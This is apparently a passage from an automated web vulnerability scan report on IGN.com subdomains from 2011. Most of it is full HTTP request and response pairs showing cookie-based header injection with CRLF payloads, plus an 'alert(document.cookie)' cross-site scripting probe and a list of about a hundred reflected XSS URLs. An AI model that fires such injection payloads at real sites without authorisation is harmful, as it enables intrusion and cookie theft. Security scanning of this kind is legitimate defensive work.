decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:37 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043197639v-2n-12mc+1297043197639mv+2mn+12wwe~0889f8
c563b0c4050;Path=/;Domain=.ign.com
Content-Length: 111536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

2.13. http://cheats.ign.com/ob2/068/077/077723.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/077/077723.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 2bd7e%0d%0ad27f0c4305a was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /ob2/068/077/077723.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~02bd7e%0d%0ad27f0c4305a; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:41 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043201929v-2n-12mc+1297043201929mv+2mn+12wwe~02bd7e
d27f0c4305a;Path=/;Domain=.ign.com
Content-Length: 108950

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

2.14. http://cheats.ign.com/ob2/068/142/14235018.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/ob2/068/142/14235018.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 586ea%0d%0aa1bd0260909 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /ob2/068/142/14235018.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0586ea%0d%0aa1bd0260909; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:47:12 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043232115v-2n-12mc+1297043232115mv+2mn+12wwe~0586ea
a1bd0260909;Path=/;Domain=.ign.com
Content-Length: 123885

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...

2.15. http://cheats.ign.com/sendcheats.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cheats.ign.com
Path:	/sendcheats.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload ae05e%0d%0aa1cab0fd9dc was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /sendcheats.html HTTP/1.1
Host: cheats.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _br_uid_1=uid%3D6931773698889%3A; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Aign%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/register%2525253Fr%2525253Dhttp%2525253A//www.ign.com/%252526ot%25253DA%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0ae05e%0d%0aa1cab0fd9dc; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040542541%7C1299632542541%3B%20s_lv%3D1297040542542%7C1391648542542%3B%20s_lv_s%3DFirst%2520Visit%7C1297042342542%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:46:21 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297043181121v-2n-12mc+1297043181121mv+2mn+12wwe~0ae05e
a1cab0fd9dc;Path=/;Domain=.ign.com
Content-Length: 82866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Send Cheats</title
...[SNIP]...

2.16. http://corp.ign.com/properties/ign.html [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://corp.ign.com
Path:	/properties/ign.html

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 17e60%0d%0abcf78f5927f was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /properties/ign.html HTTP/1.1
Host: corp.ign.com
Proxy-Connection: keep-alive
Referer: http://corp.ign.com/?64dab%22-alert(document.cookie)-%228250c170f0f=1
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmc=173446715; s_pers=%20s_nr%3D1297041153777%7C1299633153777%3B%20s_lv%3D1297041153779%7C1391649153779%3B%20s_lv_s%3DFirst%2520Visit%7C1297042953779%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_c13%3Dmy.ign.com%253Axbox360.ign.com%3B%20s_sq%3D%3B; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=10089; decc=US; NGUserID=a016c08-31833-869633041-5; i18n-cc=US; freq=c-1297041296732v-1n-12mc+1297041296732mv+0mn+0wwe~017e60%0d%0abcf78f5927f; __utma=1.1277650538.1297041360.1297041360.1297041360.1; __utmb=1; __utmc=1; __utmz=1.1297041360.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/10|utmcmd=referral; __utmb=173446715; _br_uid_1=uid%3D3168630853761%3A

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:59:14 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: freq=c-1297041296732v-2n-12mc+1297041296732mv+0mn+0wwe~017e60
bcf78f5927f;Path=/;Domain=.ign.com
Content-Length: 10442

<!DOCTYPE html>
<html lang="en"><head>
   <meta http-equiv="content-type" content="text/html; charset=utf-8" />
   <title>IGN.com - IGN Entertainment</title>
   <link rel="stylesheet" href="http://corpm
...[SNIP]...

2.17. http://ubt.ign.com/record [Raisin2 cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ubt.ign.com
Path:	/record

Issue detail

The value of the Raisin2 cookie is copied into the Set-Cookie response header. The payload 68ea8%0d%0a8fb633e8e00 was submitted in the Raisin2 cookie. This caused a response containing an injected HTTP header.

Request

GET /record?site=xbox360&dechannel=ignxbox360&random=1297041089824&property=ign&ct=gif&network=fim&channel_id=542&size=1x1&hosted_id=7527&rsi_segs=10089&PageId=1297041089824&name=ATAtracker&subdomain=xbox360.ign.com&pagetype=channel&pagetype=channel&server=linapp10.in.snowball.com&src=wrapper&reginsider=a& HTTP/1.1
Host: ubt.ign.com
Proxy-Connection: keep-alive
Referer: http://xbox360.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; __utmb=173446715.3.10.1297040497; Raisin2=1|68ea8%0d%0a8fb633e8e00; rsi_segs=10089; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~0; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; s_pers=%20s_nr%3D1297041129783%7C1299633129783%3B%20s_lv%3D1297041129785%7C1391649129785%3B%20s_lv_s%3DFirst%2520Visit%7C1297042929785%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3D%3B

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:20:45 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: Raisin2=1|68ea8
8fb633e8e00;Path=/;Domain=ubt.ign.com;Expires=Wed, 09-Apr-14 11:07:24 GMT
Set-Cookie: Raisin=;Path=/;Domain=.ign.com;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: Raisin=;Path=/;Domain=ubt.ign.com;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: Raisin2=;Path=/;Domain=.ign.com;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: Frogger=;Path=/;Domain=.ign.com;Expires=Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

2.18. http://wrapper.ign.com/a [freq cookie] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://wrapper.ign.com
Path:	/a

Issue detail

The value of the freq cookie is copied into the Set-Cookie response header. The payload 6755b%0d%0a26dcac47297 was submitted in the freq cookie. This caused a response containing an injected HTTP header.

Request

GET /a?size=text&pagetype=social_signin&subdomain=my.ign.com HTTP/1.1
Host: wrapper.ign.com
Proxy-Connection: keep-alive
Referer: http://my.ign.com/login?r=http://xbox360.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ATA=ign.129704044868759.173.193.214.243; optimizelyEndUserId=oeu1297040486304r0.669825860997662; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; NGUserID=a016c06-15003-1306593845-5; decc=US; i18n-cc=US; freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~06755b%0d%0a26dcac47297; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; __utma=173446715.1624600188.1297040497.1297040497.1297041142.2; __utmb=173446715; __utmc=173446715; rsi_segs=10089; s_pers=%20s_nr%3D1297041150626%7C1299633150626%3B%20s_lv%3D1297041150648%7C1391649150648%3B%20s_lv_s%3DFirst%2520Visit%7C1297042950648%3B; s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dxbox360.ign.com%253A%3B%20s_c13%3Dxbox360.ign.com%253A%3B%20s_sq%3Dignignus%253D%252526pid%25253Dign%2525253Axbox360%2525253Ahub%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//my.ign.com/login%2525253Fr%2525253Dhttp%2525253A//xbox360.ign.com/%252526ot%25253DA%3B

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:14:55 GMT
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: freq=c-1297041089878v-1n-12mc+1297041089878mv+1mn+12wwe~06755b
26dcac47297;Path=/;Domain=.ign.com
Content-Type: text/html;charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI ADMa OUR STP"
Content-Length: 73275

if(typeof showStitial == 'undefined' || !showStitial){
if(typeof adString == 'undefined') var adString = "";

var tileDate = new Date();
var tile = tileDate.getTime();
var isLinked
...[SNIP]...

3. Cross-site scripting (reflected) previous
There are 803 instances of this issue:

http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_adid parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_adid parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_id parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [mt_id parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [redirect parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [redirect parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [sz parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5196269.16 [sz parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_adid parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_adid parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_id parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [mt_id parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [redirect parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [redirect parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [sz parameter]
http://ad.doubleclick.net/adj/N4881.mmath/B5233701.14 [sz parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_id parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_id parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [redirect parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [redirect parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [sz parameter]
http://ad.doubleclick.net/adj/N6010.133090.MEDIAMATH/B4632508.2 [sz parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_id parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_id parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [redirect parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [redirect parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [sz parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.4 [sz parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_adid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_id parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_id parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [mt_uuid parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [redirect parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [redirect parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [sz parameter]
http://ad.doubleclick.net/adj/N6275.282079.EURORSCGEDGE/B4767814.55 [sz parameter]
http://ad.turn.com/server/pixel.htm [fpid parameter]
http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_adprovider_id parameter]
http://admeld.lucidmedia.com/clicksense/admeld/match [admeld_callback parameter]
http://ads.adxpose.com/ads/ads.js [uid parameter]
http://ads.bluelithium.com/st [name of an arbitrarily supplied request parameter]
http://au.ign.com/ [name of an arbitrarily supplied request parameter]
http://au.ign.com/ [name of an arbitrarily supplied request parameter]
http://b.scorecardresearch.com/beacon.js [c1 parameter]
http://b.scorecardresearch.com/beacon.js [c10 parameter]
http://b.scorecardresearch.com/beacon.js [c15 parameter]
http://b.scorecardresearch.com/beacon.js [c2 parameter]
http://b.scorecardresearch.com/beacon.js [c3 parameter]
http://b.scorecardresearch.com/beacon.js [c4 parameter]
http://b.scorecardresearch.com/beacon.js [c5 parameter]
http://b.scorecardresearch.com/beacon.js [c6 parameter]
http://bluray.ign.com/ [name of an arbitrarily supplied request parameter]
http://bluray.ign.com/ [name of an arbitrarily supplied request parameter]
http://bluray.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://bluray.ign.com/index/release.html [name of an arbitrarily supplied request parameter]
http://bluray.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://bluray.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter]
http://boards.ign.com/ [name of an arbitrarily supplied request parameter]
http://boards.ign.com/comics_boards/c5025 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/game_help_community_board/b5143/p1 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/general_game_help_board/b5030/p1 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/movies/c5017 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/nintendo_wii_ds_boards/c5062 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/pc_games_and_more/c5060 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/playstation_boards/c5058 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/tv/c5026 [name of an arbitrarily supplied request parameter]
http://boards.ign.com/xbox_360_boards/c5056 [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/nintendo-ds-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/nintendo-ds-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/pc-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/pc-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/playstation-3-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/playstation-3-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/playstation-portable-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/playstation-portable-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/wii-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/wii-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/xbox-360-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/index/xbox-360-cheats/index.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/001/001317.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/001/001317.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/038/038020.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/038/038020.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/077/077644.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/077/077644.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/077/077723.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/077/077723.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/142/14235018.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/ob2/068/142/14235018.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/sendcheats.html [name of an arbitrarily supplied request parameter]
http://cheats.ign.com/sendcheats.html [name of an arbitrarily supplied request parameter]
